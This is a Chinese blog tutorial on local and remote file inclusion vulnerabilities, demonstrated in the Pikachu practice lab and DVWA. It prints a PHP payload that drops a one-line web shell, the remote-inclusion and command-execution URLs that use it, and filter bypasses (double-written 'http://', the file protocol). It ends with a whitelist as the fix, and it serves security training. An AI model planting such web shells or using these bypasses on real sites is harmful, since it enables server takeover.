zoukankan      html  css  js  c++  java
  • pikachu——Files Inclusion(文件包含漏洞)

    概述:

    在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能。比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调用的时候直接在文件头中写上一句 <?php include function.php?>就可以调用函数。

    但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件(代码)。

    分为: 本地文件包含 和 远程文件包含 

    本地文件包含:

    我们在 pikachu 平台上先对本地文件包含进行测试,

    可以看到是 传了一个文件名到后台,后台会指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)。

    我们观察源码:没有进行限制,也没有设置白名单。

    远程文件包含:

    远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。

    远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:

    allow_url_fopen = on

    allow_url_include = on       如图所示

     在 Pikachu 上,远程文件包含这里,同样是通过传递一个文件名进行包含的

    我们把它改成一个攻击者服务器上的恶意代码。再/WWW/pikachu/下新建一个yijuhua.txt文件,内容为:

    <?php
    $myfile = fopen("yijuhua.php", "w");
    $txt = '<?php system($_GET[x]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
    ?>

    然后把 filename 后面的参数改成远程文件的地址,http://192.168.35.132/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.35.132/pikachu/yijuhua.txt&submit=提交

    提交之后我们的远程服务器上会多出一个文件,

     

     这时候我们就可以利用我们上传的 php 文件进行相关的操作:http://192.168.35.132/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig

    比如用菜刀进行连接,因为这是get型,可以直接再url中输入命令对其进行控制。

    这里的文件包含漏洞里DVWA也有,防护的情况也多一点点。

    比如:

    1.增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..”替换为空字符,即删除。

    但是还是不安全的,因为可以使用双写绕过替换规则。例如page=htthttp://p://时,str_replace函数会将http://删除,于是page=http://,成功执行远程命令。

    2.使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

    看似安全,我们依然可以利用file协议绕过防护策略

    3.最后使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

  • 相关阅读:
    权限设计
    ts infer关键字
    Array初始化 以及 Array.prototype.map()的一些问题
    同步、异步、事件循环
    Spring学习笔记(一)
    【面试】关于get和post两种方法的不同。
    【算法】背包问题
    当你在浏览器输入一个网址(如http://www.taobao.com),按回车之后发生了什么?
    数据库语句复习笔记
    【算法】雀魂启动(笔试题)
  • 原文地址:https://www.cnblogs.com/qi-yuan/p/12545827.html
Copyright © 2011-2022 走看看